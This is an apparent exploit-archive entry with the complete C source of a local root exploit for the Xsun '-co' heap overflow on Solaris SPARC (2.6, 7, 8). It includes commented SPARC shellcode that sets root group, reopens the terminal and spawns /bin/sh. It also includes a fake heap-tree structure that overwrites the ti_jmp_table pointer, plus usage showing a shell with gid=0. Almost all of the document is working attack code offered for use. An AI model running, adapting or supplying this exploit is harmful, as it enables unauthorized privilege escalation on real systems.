Xsun-expl.c is a local exploit for the SPARC architecture that makes use of the Xsun -co heap overflow found in April, 2002 on Solaris 2.6, 7, and 8.
97e55a2ca5d9e617ff856cd2414f020155d9ce6262a00ab465fbed2df4dbfdb0
/* Xsun(sparc) local exploit
by gloomy (gloomy@root66.org) & eSDee (esdee@netric.org)
------------------------------------------------------------------
Xsun is a Solaris server for X version 11. This program contains
an option that is not really secure nowadays :).
The option is used to determine the color database file. And yeah,
indeed, you guessed it already, it contains a heap overflow.
When we were busy writing this exploit within a multi display
screen, we discovered some weird "unable-to-write-over-stackframe"
problems. We tried everything to just write a few bytes over a
saved program counter, but unfortunatly it was not possible on the
current machine we were using. Then eSDee came up with something
news. In the middle of the night a loud "yippeaaaaaa!" came out
the bedroom of mister Es. He discovered a little section just
below the GOT. It didn't contain \0 bytes and it was writeable.
It's called the ti_jmp_table. I'm sure eSDee will write some
papers about it soon.
Gloomy was busy writing a shellcode that re-opens the STDIN. He
found out that he just could open /dev/tty and then duplicate the
STDERR filedescriptor, so the important descriptors were back
again.
USAGE:
./Xsun-expl [retloc] [ret]
Example:
bash$ gcc -o Xsun-expl Xsun-expl.c -Wall -Werror
bash$ ./Xsun-expl
Couldn't open RGB_DB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....
...
bash$ id
uid=500(user) gid=0(root)
Greets and kisses:
#netric - www.netric.org
#root66 - www.root66.org
mostlyharmless - www.mostly-harmless.nl [soon]
dB_____ - fijne broer van gloom-ei! :)
squezel - lekker ventje ben jij.
More information available at: https://online.securityfocus.com/advisories/4009
[ps. wat een lompe text]
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define PATH "/usr/openwin/bin/Xsun"
#define DISPLAY ":1"
#define SIZE 5128
#define RET 0xffbef7bc
#define RETLOC 0xfecbea30 /* <ti_jmp_table+4> (a pointer to _return_zero) */
#define DUMMY 0xac1db0ef
struct WORD {
long element;
long dummy;
};
struct TREE {
struct WORD t_s; /* size of this element */
struct WORD t_p; /* parent node */
struct WORD t_l; /* left child */
struct WORD t_r; /* right child */
struct WORD t_n; /* next in link list */
struct WORD t_d; /* dummy to reserve space for self-pointer */
};
char
shellcode[]=
/*
setregid(0,0); setting root permissions
open("/dev/tty", RD_ONLY); re-open STDIN
dup(2); duplicate STDOUT to STDERR
execve("/bin//sh", &argv[0], NULL); start the shell
exit(); exit
*/
"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x18\x40\x01" // xor %g1, %g1, %g1
"\x82\x10\x20\xcb" // mov 0x2e, %g1
"\x91\xd0\x20\x08" // ta 8 [setregid(0,0)]
"\x21\x0b\xd9\x19" // sethi %hi(0x2f646400), %l0
"\xa0\x14\x21\x76" // or %l0, 0x176, %l0
"\x23\x0b\xdd\x1d" // sethi %hi(0x2f747400), %l1
"\xa2\x14\x60\x79" // or %l1, 0x79, %l1
"\xe0\x3b\xbf\xf8" // std %l0, [ %sp - 0x8 ]
"\x90\x23\xa0\x08" // sub %sp, 8, %o0
"\x92\x1b\x80\x0e" // xor %sp, %sp, %o1
"\x82\x10\x20\x05" // mov 0x05, %g1
"\x91\xd0\x20\x08" // ta 8 [open("/dev/tty",RD_ONLY)]
"\x90\x10\x20\x02" // mov 0x02, %o0
"\x82\x10\x20\x29" // mov 0x29, %g1
"\x91\xd0\x20\x08" // ta 8 [dup(2)]
"\x21\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l0
"\xa0\x14\x21\x6e" // or %l0, 0x16e, %l0
"\x23\x0b\xcb\xdc" // sethi %hi(0x2f2f7000), %l1
"\xa2\x14\x63\x68" // or %l1, 0x368, %l1
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp - 0x10 ]
"\xc0\x23\xbf\xf8" // clr [ %sp - 0x8 ]
"\x90\x23\xa0\x10" // sub %sp, 0x10, %o0
"\xc0\x23\xbf\xec" // clr [ %sp - 0x14 ]
"\xd0\x23\xbf\xe8" // st %o0, [ %sp - 0x18 ]
"\x92\x23\xa0\x18" // sub %sp, 0x18, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x82\x18\x40\x01" // xor %g1, %g1, %g1
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x08" // ta 8 [execve("/bin/sh","/bin/sh",NULL)]
"\x82\x10\x20\x01" // mov 0x01, %g1
"\x91\xd0\x20\x08" // ta 8 [exit(?)]
"\x10\xbf\xff\xdf" // b shellcode
"\x90\x1d\x80\x16"; // or %o1, %o1, %o1
int
main(int argc, char *argv[])
{
struct TREE faketree; // our friendly little tree
char buffer[SIZE+sizeof(faketree)+1];
unsigned int ret = RET;
unsigned int retloc = RETLOC;
unsigned int dummy = DUMMY;
if (argc > 1) retloc = strtoul(argv[1], &argv[1], 16);
if (argc > 2) ret = strtoul(argv[2], &argv[2], 16);
faketree.t_s.element = 0xfffffff0;
faketree.t_s.dummy = dummy;
faketree.t_n.element = retloc - 8;
faketree.t_n.dummy = dummy;
faketree.t_l.element = 0xffffffff;
faketree.t_l.dummy = dummy;
faketree.t_r.element = dummy;
faketree.t_r.dummy = dummy;
faketree.t_p.element = ret;
faketree.t_p.dummy = dummy;
faketree.t_d.element = dummy;
faketree.t_d.dummy = dummy;
memset(buffer, 0x41, sizeof(buffer));
memcpy(buffer + 3999 - (strlen(shellcode) - 8), shellcode, strlen(shellcode));
memcpy(buffer + SIZE, &faketree, sizeof(faketree));
buffer[SIZE + sizeof(faketree)] = 0x0;
fprintf(stdout, "Retloc = 0x%08x\n"
"Ret = 0x%08x\n",
retloc, ret);
execl(PATH, "Xsun", "-co", buffer, DISPLAY, NULL);
return 0;
}
/* [eof] */